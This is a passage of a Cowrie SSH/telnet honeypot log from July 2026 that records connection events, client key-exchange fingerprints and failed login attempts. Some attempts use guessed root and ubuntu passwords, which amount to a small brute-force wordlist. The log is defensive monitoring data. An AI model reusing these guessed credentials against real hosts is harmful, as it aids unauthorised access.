16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:19.638725Z","src_ip":"103.27.238.116","session":"7200ef5cafee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":39738,"dst_ip":"159.203.135.109","dst_port":22,"session":"7177b2e856ba","protocol":"ssh","message":"New connection: 103.98.149.87:39738 (159.203.135.109:22) [session: 7177b2e856ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:20.265016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:20.269336Z","src_ip":"103.98.149.87","session":"7177b2e856ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wenef45313","message":"login attempt [root/wenef45313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:20.425737Z","src_ip":"103.27.238.116","session":"7200ef5cafee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:20.488486Z","src_ip":"103.98.149.87","session":"7177b2e856ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:21.176960Z","src_ip":"103.98.149.87","session":"7177b2e856ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:21.692324Z","src_ip":"103.27.238.116","session":"7200ef5cafee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:22.398317Z","src_ip":"103.98.149.87","session":"7177b2e856ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39006,"dst_ip":"10.17.0.5","dst_port":22,"session":"a46151ac784d","protocol":"ssh","message":"New connection: 103.27.238.120:39006 (10.17.0.5:22) [session: a46151ac784d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:30.948023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:30.952096Z","src_ip":"103.27.238.120","session":"a46151ac784d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:31.227686Z","src_ip":"103.27.238.120","session":"a46151ac784d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199106","message":"login attempt [root/199106] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:32.055962Z","src_ip":"103.27.238.120","session":"a46151ac784d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:33.333483Z","src_ip":"103.27.238.120","session":"a46151ac784d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":49816,"dst_ip":"10.17.0.5","dst_port":22,"session":"a43edc1b97b9","protocol":"ssh","message":"New connection: 160.22.170.38:49816 (10.17.0.5:22) [session: a43edc1b97b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:47.879294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:47.886376Z","src_ip":"160.22.170.38","session":"a43edc1b97b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33160,"dst_ip":"159.203.135.109","dst_port":23,"session":"849933d5f8a3","protocol":"telnet","message":"New connection: 107.6.151.170:33160 (159.203.135.109:23) [session: 849933d5f8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:47.933237Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:48.815547Z","src_ip":"160.22.170.38","session":"a43edc1b97b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.q","message":"login attempt [root/123456.q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:50.540277Z","src_ip":"160.22.170.38","session":"a43edc1b97b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:52.003618Z","src_ip":"160.22.170.38","session":"a43edc1b97b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":55627,"dst_ip":"159.203.135.109","dst_port":22,"session":"14fe712c065e","protocol":"ssh","message":"New connection: 14.55.144.22:55627 (159.203.135.109:22) [session: 14fe712c065e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:05.588364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:05.592443Z","src_ip":"14.55.144.22","session":"14fe712c065e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:05.798298Z","src_ip":"14.55.144.22","session":"14fe712c065e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wu123456","message":"login attempt [root/Wu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:06.649672Z","src_ip":"14.55.144.22","session":"14fe712c065e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:07.859474Z","src_ip":"14.55.144.22","session":"14fe712c065e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51952,"dst_ip":"159.203.135.109","dst_port":23,"session":"1879858d54c1","protocol":"telnet","message":"New connection: 107.6.151.170:51952 (159.203.135.109:23) [session: 1879858d54c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:10.861404Z"}
{"eventid":"cowrie.session.closed","duration":31.40379285812378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:19.336947Z","src_ip":"107.6.151.170","session":"849933d5f8a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":58106,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5dc6c1e187","protocol":"telnet","message":"New connection: 183.91.11.226:58106 (159.203.135.109:23) [session: aa5dc6c1e187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:27.660328Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52440,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce878a00d23a","protocol":"ssh","message":"New connection: 91.92.40.176:52440 (10.17.0.5:22) [session: ce878a00d23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:35.358664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:35.362839Z","src_ip":"91.92.40.176","session":"ce878a00d23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:35.443487Z","src_ip":"91.92.40.176","session":"ce878a00d23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:35.692916Z","src_ip":"91.92.40.176","session":"ce878a00d23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:36.776047Z","src_ip":"91.92.40.176","session":"ce878a00d23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.838850259780884,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:03:53.700113Z","src_ip":"107.6.151.170","session":"1879858d54c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.159839153289795,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:06.819974Z","src_ip":"183.91.11.226","session":"aa5dc6c1e187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52390,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f02cc9497f","protocol":"telnet","message":"New connection: 170.64.224.25:52390 (159.203.135.109:23) [session: e0f02cc9497f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:20.330237Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":40374,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8148051fb5d","protocol":"ssh","message":"New connection: 143.20.185.207:40374 (159.203.135.109:22) [session: e8148051fb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:42.516488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:42.520398Z","src_ip":"143.20.185.207","session":"e8148051fb5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:42.635818Z","src_ip":"143.20.185.207","session":"e8148051fb5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS4VCPU8GBAMD","message":"login attempt [root/RASYAXINSAVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:43.008354Z","src_ip":"143.20.185.207","session":"e8148051fb5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":45452,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ae134880a92","protocol":"ssh","message":"New connection: 162.241.177.22:45452 (10.17.0.5:22) [session: 6ae134880a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:43.293243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:43.296676Z","src_ip":"162.241.177.22","session":"6ae134880a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:43.321758Z","src_ip":"162.241.177.22","session":"6ae134880a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome!@#$%^&*(","message":"login attempt [root/welcome!@#$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:43.399830Z","src_ip":"162.241.177.22","session":"6ae134880a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:44.125085Z","src_ip":"143.20.185.207","session":"e8148051fb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:04:44.426502Z","src_ip":"162.241.177.22","session":"6ae134880a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":48066,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef7f038f6102","protocol":"ssh","message":"New connection: 91.92.40.10:48066 (10.17.0.5:22) [session: ef7f038f6102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:11.057211Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:11.141805Z","src_ip":"91.92.40.10","session":"ef7f038f6102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":41158,"dst_ip":"159.203.135.109","dst_port":22,"session":"25ac0585fc47","protocol":"ssh","message":"New connection: 177.76.134.52:41158 (159.203.135.109:22) [session: 25ac0585fc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:21.604577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:21.666610Z","src_ip":"177.76.134.52","session":"25ac0585fc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":33100,"dst_ip":"10.17.0.5","dst_port":22,"session":"512497f1f7a9","protocol":"ssh","message":"New connection: 23.88.42.180:33100 (10.17.0.5:22) [session: 512497f1f7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:21.704982Z"}
